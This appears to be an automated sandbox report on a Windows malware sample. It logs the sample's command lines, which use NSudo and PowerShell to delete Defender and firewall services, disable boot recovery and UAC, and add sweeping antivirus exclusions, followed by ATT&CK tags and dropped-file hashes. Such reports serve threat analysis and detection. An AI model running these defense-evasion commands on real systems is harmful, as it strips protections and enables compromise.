C:\Users\Public\NSudo.exe
"C:\Users\Public\NSudo.exe" -U:T -ShowWindowMode:Hide sc delete mpsdrv
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2816

C:\Users\Public\NSudo.exe
"C:\Users\Public\NSudo.exe" -U:T -ShowWindowMode:Hide sc delete mpssvc
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3396

C:\Users\Public\NSudo.exe
"C:\Users\Public\NSudo.exe" -U:T -ShowWindowMode:Hide sc delete sense
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2764

C:\Users\Public\NSudo.exe
"C:\Users\Public\NSudo.exe" -U:T -ShowWindowMode:Hide bcdedit /set {default} recoveryenabled No
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2584

C:\Users\Public\NSudo.exe
"C:\Users\Public\NSudo.exe" -U:T -ShowWindowMode:Hide bcdedit /set {default} bootstatuspolicy ignoreallfailures
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2604

C:\Users\Public\NSudo.exe
"C:\Users\Public\NSudo.exe" -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4052

C:\Users\Public\NSudo.exe
"C:\Users\Public\NSudo.exe" -U:T -ShowWindowMode:Hide icacls "C:\Windows\System32\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3200

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionExtension ".bat"
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:1948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionExtension ".ppam"
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionExtension ".xls"
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionExtension ".bat"
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:3068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionExtension ".exe"
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:2432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionExtension ".vbs"
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:2120

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionExtension ".js"
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:4160

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath C:\
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:4472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath D:\
1⤵
- Process spawned unexpected child process
PID:4872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath E:\
1⤵
- Process spawned unexpected child process
PID:4016

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionProcess explorer.exe
1⤵
- Process spawned unexpected child process
PID:4732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionProcess kernel32.dll
1⤵
- Process spawned unexpected child process
PID:4548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionProcess aspnet_compiler.exe
1⤵
- Process spawned unexpected child process
PID:4544

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionProcess CasPol.exe
1⤵
- Process spawned unexpected child process
PID:4908

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionProcess csc.exe
1⤵
- Process spawned unexpected child process
PID:4388

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionProcess ilasm.exe
1⤵
- Process spawned unexpected child process
PID:5096

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionProcess InstallUtil.exe
1⤵
- Process spawned unexpected child process
PID:5304

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionProcess jsc.exe
1⤵
- Process spawned unexpected child process
PID:5484

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionProcess Calc.exe
1⤵
- Process spawned unexpected child process
PID:5752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionProcess powershell.exe
1⤵
- Process spawned unexpected child process
PID:5156

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionProcess mshta.exe
1⤵
- Process spawned unexpected child process
PID:5944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionProcess cmd.exe
1⤵
- Process spawned unexpected child process
PID:5572

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionProcess wscript.exe
1⤵
- Process spawned unexpected child process
PID:5188

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Process spawned unexpected child process
PID:5748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
1⤵
- Process spawned unexpected child process
PID:5220

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell New-Ipublicroperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
1⤵
- Process spawned unexpected child process
PID:5860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -EnableControlledFolderAccess Disabled
1⤵
- Process spawned unexpected child process
PID:3012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -PUAProtection disable
1⤵
- Process spawned unexpected child process
PID:4376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -HighThreatDefaultAction 6 -Force
1⤵
- Process spawned unexpected child process
PID:3040

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -ModerateThreatDefaultAction 6
1⤵
- Process spawned unexpected child process
PID:4500

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -LowThreatDefaultAction 6
1⤵
- Process spawned unexpected child process
PID:3068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -SevereThreatDefaultAction 6
1⤵
- Process spawned unexpected child process
PID:3992

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -ScanScheduleDay 8
1⤵
- Process spawned unexpected child process
PID:5072

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell netsh advfirewall set allprofiles state off
1⤵
- Process spawned unexpected child process
PID:4216

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
2⤵
PID:1924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Stop-Service -Name WinDefend -Confirm:$false -Force
1⤵
- Process spawned unexpected child process
PID:4684

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-Service -Name WinDefend -StartupType Disabled
1⤵
- Process spawned unexpected child process
PID:5000

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell sc delete windefend
1⤵
- Process spawned unexpected child process
- Drops file in System32 directory
PID:1484

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
11ee8fae6f980eeedd4536b8fd6d3d40

SHA1
34df3ce977852d7811b1e71468cb2bdc46f00adb

SHA256
8905d602dff2102b4be5fd7706510c339eda891be241a5ac2a9b14a722f7f601

SHA512
bc779f98fba8d04f395f018edfa248c0afd4a8768f05886b46306708ef50b3f773be4ff0e221a6e21125d132abc1beab68fc0371fcd8d8970b4e94d0378cf619

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
8df247c7e149bbb4ab0e29c806a591aa

SHA1
b3ef5c8cc1fb7be5f753bb3434f25f0d79ae4e72

SHA256
0ec46e4cb419b017b1a2b2aa8feb7f0516ab4e3185cd1006f5555346fc2c1ed5

SHA512
643e5972019e91412d5519468d2ed5ab0f28bc59c6f3a247e8b07cb3629dbb8bfda685390d0d5066de72f3cbd33e666c3bcbe6223d222c7d1de1abb9dd761ebb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
a3f60bad17c63dd969e4bc3f195f8396

SHA1
3ff6c6b751160ba7c18e55fcd82b44a278dada0d

SHA256
0cab6bf7cd8d8eb201614f098aee101409083cb2a5c6ee795f8a6b11803375b9

SHA512
9aa7a42b320cff0a8d9a81e0c411e35f4661380d93cb8f26411a8713b8aa6c7613f6ea88430c8411aaad1579df2bbaaba31fb34b8817aec6a96761b83a121d8b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
5a456881afc599a31b524cf8ea62587d

SHA1
56c3dd6762fd6e5ddacab22d0f1a03d664839662

SHA256
237372941b402c2a30eace38f030b78ebb091366c93781fd4a01a083440223fe

SHA512
ad95b67b3cba1c706c021e5dac8673203f1a87c23b52f273254ff3c311a3e6dce43bb1c5068d4c1e7f7cda2b0d5b2d47ea6470b247454650ce7efdf93dab5f86

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
d321b094131c001e53d43e546a165086

SHA1
ccde36daa13cdd2bf2d5ac2ab412646706183dbe

SHA256
28c1ec3d3c66be33973118f45eea8f4b98bdc78bdea7cdb566e93dd0ad714a36

SHA512
f3258aae00d6554f082fd1572f22c9795ba23162c976449c9ba1e625ce1cd0a46693b24b8f4839bebe940ded05c41186e6f3c18e7097e5bef2239e26dac57a81

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
10a75a2af2390cb418aa8f18671972a5

SHA1
9033d150ad6165b9ad7c4cb0a3f9420a4cd5c4cf

SHA256
5bdf5946f25e86a7a7934dd2ffea4ec246ded2a2c7dcef61f5f4d3934db7f37f

SHA512
88d5024ff540c176168c99a771f98fe969839a326c62f7a5d41c162e382ee5eb4ecdf95e3ac99f166cc6a3f7c89dea6621fa468b5aab68337ee06644742e8feb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
10a75a2af2390cb418aa8f18671972a5

SHA1
9033d150ad6165b9ad7c4cb0a3f9420a4cd5c4cf

SHA256
5bdf5946f25e86a7a7934dd2ffea4ec246ded2a2c7dcef61f5f4d3934db7f37f

SHA512
88d5024ff540c176168c99a771f98fe969839a326c62f7a5d41c162e382ee5eb4ecdf95e3ac99f166cc6a3f7c89dea6621fa468b5aab68337ee06644742e8feb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
e531094d289ba2b54b9bb41238b4ef2e

SHA1
a1920145f3babf41fdc207adb2a97f00f3e5ed54

SHA256
3fdac0ed2d2a9006eb77d6b363dab9558f1ad679d21974159f7f9db4bcf2a808

SHA512
699e338e792f7a0206148c76b2b43a3b0113b164255ade838c87acb0b1f8cc438b0c4a4af7367278f43a7ce0c600a4f3fdc0e422d18c798d0358de371dfd7017

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
44cb01d6de386a9a989eb05ea16eff75

SHA1
3a0160b0613ebb76538251b84e7372c22ac8d932

SHA256
69398c2922969961b8c0804b4052355a19d298f277ab7a1136007ae520e041cf

SHA512
379daf2ca32f01da49246c71e4f47820823fdbb76c13849d4e5e787647a426c8dff63a6e00cb310f13264eef9d28135e4caabc33714f01d15e4862422a567745

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
44cb01d6de386a9a989eb05ea16eff75

SHA1
3a0160b0613ebb76538251b84e7372c22ac8d932

SHA256
69398c2922969961b8c0804b4052355a19d298f277ab7a1136007ae520e041cf

SHA512
379daf2ca32f01da49246c71e4f47820823fdbb76c13849d4e5e787647a426c8dff63a6e00cb310f13264eef9d28135e4caabc33714f01d15e4862422a567745

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
6456b2ce5eb2ad9ec45680dc5da5cd2a

SHA1
7a5bd12bb17b775842a49502a9a6240b490ea809

SHA256
2ff8d0b2642dfff2cbc0a622a26a6df6df9972e2f3e9ed48a0831bf7cc828a49

SHA512
b3d0ed35f4112b3a01b141f0db74d44f3f199bec035ad9b900ef2e191cef831cff5d74907c11a5ed4fa1789036d7f2c9f013de6b661d5dafbbd2de51ae255ac4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
8f73cd84dbc4b55fb55ba039486d6a69

SHA1
0d76dcdd1981d91bf03be58d7afbd61286310fe1

SHA256
187a02508bdcc7c4f915d20993bac019cd18238dc9a64a532846b528654ac8ee

SHA512
2057313d8929fe91386af8c63046aa07430edd961e8764587948eb0983bd2ffc059cf5db9413f4637e3861ee7eb7505b1e27d6b029a64af1fc632d102e56ae54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
ef00d0696811339aee4167b9d470c2a6

SHA1
52415e130d18d7b73aa0f8c2ab826d43afde3a2c

SHA256
a520e599b83c2457a871ed4e3651f9cac2664d380d9033b8d2d188e74f41e87d

SHA512
0983dbbe9d3578905ca62c372cad0f5f76a023287d52314d7d37bdc0f90a8677cf9f9f4b1bd475611c77c3cab86af3c2716b79527afd129ffb58468b2c7a4780

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
ef00d0696811339aee4167b9d470c2a6

SHA1
52415e130d18d7b73aa0f8c2ab826d43afde3a2c

SHA256
a520e599b83c2457a871ed4e3651f9cac2664d380d9033b8d2d188e74f41e87d

SHA512
0983dbbe9d3578905ca62c372cad0f5f76a023287d52314d7d37bdc0f90a8677cf9f9f4b1bd475611c77c3cab86af3c2716b79527afd129ffb58468b2c7a4780

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
093b5a081b0ef68ef199c856cf24ec45

SHA1
d9801020a9b1d3e3f6dd098cfa0bdbc67815acba

SHA256
dbd96a476f555dde8d7097b9ca6dd17de1e21e981d9587c5e51c6b84657a99f6

SHA512
0524627da66f1604bf71198566dfb144e0d25020c36e7244c0d38abbc239ef5e0357af80fc225c7aa799b5d0dde6aaa962675eccb521babebba2c25caa0d2d9c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
2f88e69024bb456d11cf168e6165a3b8

SHA1
c6325cb113fd2e0615b261acdb7e10c7d87e15ad

SHA256
0b58f37850365eb20922f1f2e3642d7ebf7c2dc4c614a99290f79d16177b9e0f

SHA512
ae7bb9b0a24c93bb2bdac3f854a7973ecdf211982dc9b81cb810ea4acebb8e175213195d966093edf129bd3cb5a005f1b58a321a60fa1c9f25cb7abc8e741937

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
f83bb356f2577fd967ce1dff7d5613f1

SHA1
e485fae1cf9de97c777060e5a5c867226f9786a9

SHA256
7b9fbfcd22bbe0d29a3baa8224e343896dfb13f068de46b6e3e94acd37e012e4

SHA512
2813192fdcfe4dd603325a8c325f78eee8aab9ccafd5bd01bc26ccb22cf2f72c610af4426ae17332d4b393aff0a6b2528326db5a3968488fc3c3c55c136ab86d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
f83bb356f2577fd967ce1dff7d5613f1

SHA1
e485fae1cf9de97c777060e5a5c867226f9786a9

SHA256
7b9fbfcd22bbe0d29a3baa8224e343896dfb13f068de46b6e3e94acd37e012e4

SHA512
2813192fdcfe4dd603325a8c325f78eee8aab9ccafd5bd01bc26ccb22cf2f72c610af4426ae17332d4b393aff0a6b2528326db5a3968488fc3c3c55c136ab86d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
a83c3ba94b5da326980a3bc744dd7bd9

SHA1
a99900d0a927261ef3989ad613c3e7c33f8dca7f

SHA256
e350a20ab235636a6338f443787435e99236539cbbf0148b754288e108a81923

SHA512
263e43676aa72cad91578325f33bfb2d34f4ec69fef64e7525a3b4aa1b5c204f71bc68d89b9d5292e62590aa73bd5f49ce072c0359e98c737fedb75d204a7c99

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
4a58977cd831b5875058c1ce6cc6e090

SHA1
d863742f7739304e333b4d02d654eef4f3d55c25

SHA256
96f89a0ea4dd85cdc98c025245143f20afd5c820ac2fe1171580ca81ce66db25

SHA512
871db9f12e9414c4d15abc194687a6cf2cd403151cd680e54a000fa35913eb3098260a2b2ec3c10169d4eee471058ecf65db261bce0d3659e8c11c7e2eb2cdf2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
9eaf4c1be747ebf050ef192493bf8152

SHA1
50c708134c1866c88a8c57712e77d13ad4d59af5

SHA256
fbe41606a3efb9421b2e24cebbfe3a2db9e035779cf2e7653edb78e758de5c65

SHA512
b85cc3d563070c675935ce765affca4b3fd114e3872cc9d57ff33080990dc4d8adb1a932e771c42047f7ba82d91a33d0cc0fbb12fa42a5d01a9dd01d7d4fae12

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
9eaf4c1be747ebf050ef192493bf8152

SHA1
50c708134c1866c88a8c57712e77d13ad4d59af5

SHA256
fbe41606a3efb9421b2e24cebbfe3a2db9e035779cf2e7653edb78e758de5c65

SHA512
b85cc3d563070c675935ce765affca4b3fd114e3872cc9d57ff33080990dc4d8adb1a932e771c42047f7ba82d91a33d0cc0fbb12fa42a5d01a9dd01d7d4fae12

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
3b7744f5f6d2f5d5a8cab96e7e4d6df1

SHA1
d5cd1bbb3f843413fdfdccf881375c0902b681df

SHA256
3052894c45176a0de2cb1056785e3d06a0585f543e046bfef8961d5fc7346228

SHA512
27c3cefe843f604627d572df862c682cc062f7d51a6fe2aaeffe0bb96942621e8ac591fa2d80df4b17a809ec3c3739434307a2e1cfbce9fc543932948aa653a9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
636530108f6c77ac4f6eef5db6409b2b

SHA1
802d6f69e464465c578232c929743232c61de899

SHA256
cba74d07f76ca4a442e9f2695c5f2cd82b8612b8524be367a36fb8d4cd4d8be7

SHA512
886f3cef1ba58de0b194a3321e1d2be3074ecbb57aa4132c8804a2fb4aa3d49f0b498503a60a40a4851ea40790cf2b47a46464533e220765ca264e4950c9ddbb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
d50d264158a6225038843c0752442204

SHA1
43ce1382f293bba66f941f906d5fc090f06b7f02

SHA256
e58ec5413b211fc8444d3e4124a245366eea65c79705d5631af3c9e2f7e67ae8

SHA512
3d7b3cce4c033537bb84e7414f25ee0bbb4d8f462ff720697f893575be5d59fcef575b06388acc6c0aabeb7e5f93e1a10431a754854866b05f113a5da388f96b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
d50d264158a6225038843c0752442204

SHA1
43ce1382f293bba66f941f906d5fc090f06b7f02

SHA256
e58ec5413b211fc8444d3e4124a245366eea65c79705d5631af3c9e2f7e67ae8

SHA512
3d7b3cce4c033537bb84e7414f25ee0bbb4d8f462ff720697f893575be5d59fcef575b06388acc6c0aabeb7e5f93e1a10431a754854866b05f113a5da388f96b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
74d3224b8558ff7ec90471be88fd2476

SHA1
201ea6a7a003c2490c1c99accadfde3d4da7ebb2

SHA256
e6fd5a9cfbcdf9504c25a79e4264dde028065d9b8b12042f8a1e9c525c4af13d

SHA512
814ac6befa8f40b75f79aacf755ef49954eb113872a20832ab2050eb93fba4730dc867927ec942fabe4ed76a3f78e4d1c1fb8ad47327f435ea3fb6cddadf0050

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
74d3224b8558ff7ec90471be88fd2476

SHA1
201ea6a7a003c2490c1c99accadfde3d4da7ebb2

SHA256
e6fd5a9cfbcdf9504c25a79e4264dde028065d9b8b12042f8a1e9c525c4af13d

SHA512
814ac6befa8f40b75f79aacf755ef49954eb113872a20832ab2050eb93fba4730dc867927ec942fabe4ed76a3f78e4d1c1fb8ad47327f435ea3fb6cddadf0050

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
86d0e6339529de03ae03052738e8e021

SHA1
3fb23a2bc22f782096a6bab50f6e86234fa67ea0

SHA256
07e6034dfc4439f64be7727f05ff182f684f944d7aaa50631f36d8708333e43a

SHA512
4bd3f45b90c5c3e8dcf3fd90f68c63a121bdd8d60f599af8ccbaa0ad00d7a522ba8c4626a7bfbd37c70fb32834bb03143c7ffe2f6f72892e4bd4f037b32baad6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
24cf2c53966744a54673b822aa6cf5d1

SHA1
af71efd512747ca6686a3265b78eacf0986f2db9

SHA256
b5029da28adea0947358ad9cdadf0d36545650a19671ef6d76cb3b7a93aa2966

SHA512
aa18d3a468002ca225e3872744b95d5a0019847e9091f73f49b5e6d3c9e337bde93728af6181a6c0a7f05f516f1cb8c5c700f16cd9e3eec7a919dd059d7c1fe0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
48efd43400b9e21ba6e6d9312b913b96

SHA1
1f2af293ed01cbfc5c392eefee12d04240d1bb6f

SHA256
c5994c6c2b1735346b0d8c47e8abeef595200740f6eaa373b7a3aa0f295d77fe

SHA512
ec56cc19132baa831dd8613bea43fc107840129989587dabf3eaf3ba82431bf2ee96d6604970f2411eece0d3739316fa360bed969c8aab7be7e0251fa68c97bc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
c3ef0c34f91bbecd14615bcf21543f09

SHA1
9577fa56d916526bc5476ee1daea7cb65818ce3f

SHA256
e7fadcc30daa6802a047ba3c80ebd9c2a28a7142a4dc934b3755c406eabfc1fc

SHA512
1a5935c379c0835dd617544add536fd28d17193c97d1e2f7a5cd1a173eede2f5da98d8e5ec12fc791258faf86de8855f220818cc8e65323e667e81fc1364a058

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
9c1fe20341e9d7885c5d1ead65666691

SHA1
4c148087ec72c8a368d9a97316498b22592aeb5a

SHA256
669e30614acf66727b4ed0d7d2c572277a079095aff81c15616a4867103dc5d0

SHA512
122c1a61bd43b6179cfb5f88a6c7029c8ad8063da3ee7376201cfa08964333a6318f8f09459ba84555da5e4cafa00ebb9cfc37de24ee6dddfbd6acb0b584e97c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
9509447e67003ffe570828513cf0dc99

SHA1
5353b43529c5c025be13845dce6136c90465691d

SHA256
62727a860b2dd477f765e9e7571e848fcde1aafb0fb6a152cc5e67c207afd4f6

SHA512
b8d1801e774129b113003d45b183b2bef93130582489c40a58420fc29d2e56375e45a6aadcd5c7ed5f0f285c605c400cdb5feab2d42ba9446af339804a90c5c4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
6690d504e4b2886b123f648f778983f6

SHA1
b22adc9f93a8adb98bc8bc6f08a6b7184c99f3c7

SHA256
c6f523749d91bf61f031ec466c2fda8a4029685769aeb48567517ade1bf55675

SHA512
f6d8418d5981595a9b93d8bf237656304ab20a20078f13220000a461acc937a23819203e7ab8c6ddc85616cd19b67c4b0764533fa685359072beb75ea2e483b4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
b4f3e82879adf3c328bfda5de36e95b6

SHA1
edb39f6400e9fb9ad967ea19ce661f0f7e2b13fe

SHA256
faa82b18bb8ced91ff636b73c761403c4ebfb611375e05cbae3973d2a131b32f

SHA512
c8bf06a8812e10fb687b4579c3a11d53bfe1cc35b48a01dd716d6d7ebefd0fc44dbf5ea15f8870fd421b70caeaab1e7c8e02873bd21bec0f3dcece70acc6be4b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
b4f3e82879adf3c328bfda5de36e95b6

SHA1
edb39f6400e9fb9ad967ea19ce661f0f7e2b13fe

SHA256
faa82b18bb8ced91ff636b73c761403c4ebfb611375e05cbae3973d2a131b32f

SHA512
c8bf06a8812e10fb687b4579c3a11d53bfe1cc35b48a01dd716d6d7ebefd0fc44dbf5ea15f8870fd421b70caeaab1e7c8e02873bd21bec0f3dcece70acc6be4b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
5cdb76d9588a0fe19b716df3f1cbfd4a

SHA1
6fcd99d47c2b36bcd36f12897ac8d275ebad06ef

SHA256
e87aea5b8a2f21c8fa82698222b216b98dd9cf85a796ea3604cbd58509f24ae7

SHA512
15f5224e9889fd3d33270b92542601e85f507b070dbfc1dfe9379b6938d38d3782a33a175cc2e9821acb36f57846836889c9aa0d0d26e6dfdf8748624dcf3ba7

Download Submit
C:\Users\Admin\AppData\Local\Temp\CMSTP.inf
MD5
718a1bce2c81151fb5958c42c913ce14

SHA1
77bcc7e35ca3146fc8a623f40056d56cafc3efa7

SHA256
4f165ebf81cb65b85658384c3df7ee2aa8c4fd47e2f7112aca1a52d3400e28d1

SHA512
e48fb18cb75ed6abe2977536acb855d7bb2d28232271a010d70f7a0e263f26e71060ea90a927872763e337f263af6669480e52f2c259d74b7ed1665d37873f02

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES4EA9.tmp
MD5
99803a8514e5b472fcbfa1f4fdc7fc58

SHA1
b75318d379c2a3e8f28066bc054a1ef18a9dece6

SHA256
1c98fd8f76c5a36f7c16b70cc5292cd29d1d7700419c736c289d746901c2de96

SHA512
79909d9f83a8a51c8bf2e604db56d750590b31d99e5a7b2531377cd01c4aa75829cf64a60556c97133502be3b0c1d02bf98dcfd8d9841b5144a4f62126377964

Download Submit
C:\Users\Admin\AppData\Local\Temp\dgzyy1or\dgzyy1or.dll
MD5
9c1748436dce0b4f8a57f469e6278b76

SHA1
417ee4de8daad9f3def7ee52f8d23f91703bdfab

SHA256
14c924e2fb293ad95d909e294a2dcb68735d16560e404b9282bedae2bce277fd

SHA512
10689d40db81b55ac4779a553123258581a0cb55c1963186552285c8ec47823312b64db2492d45fb91cb793f6824b13d552e30d2c12b37af92c30cc01a040a69

Download Submit
C:\Users\Public\NSudo.exe
MD5
5cae01aea8ed390ce9bec17b6c1237e4

SHA1
3a80a49efaac5d839400e4fb8f803243fb39a513

SHA256
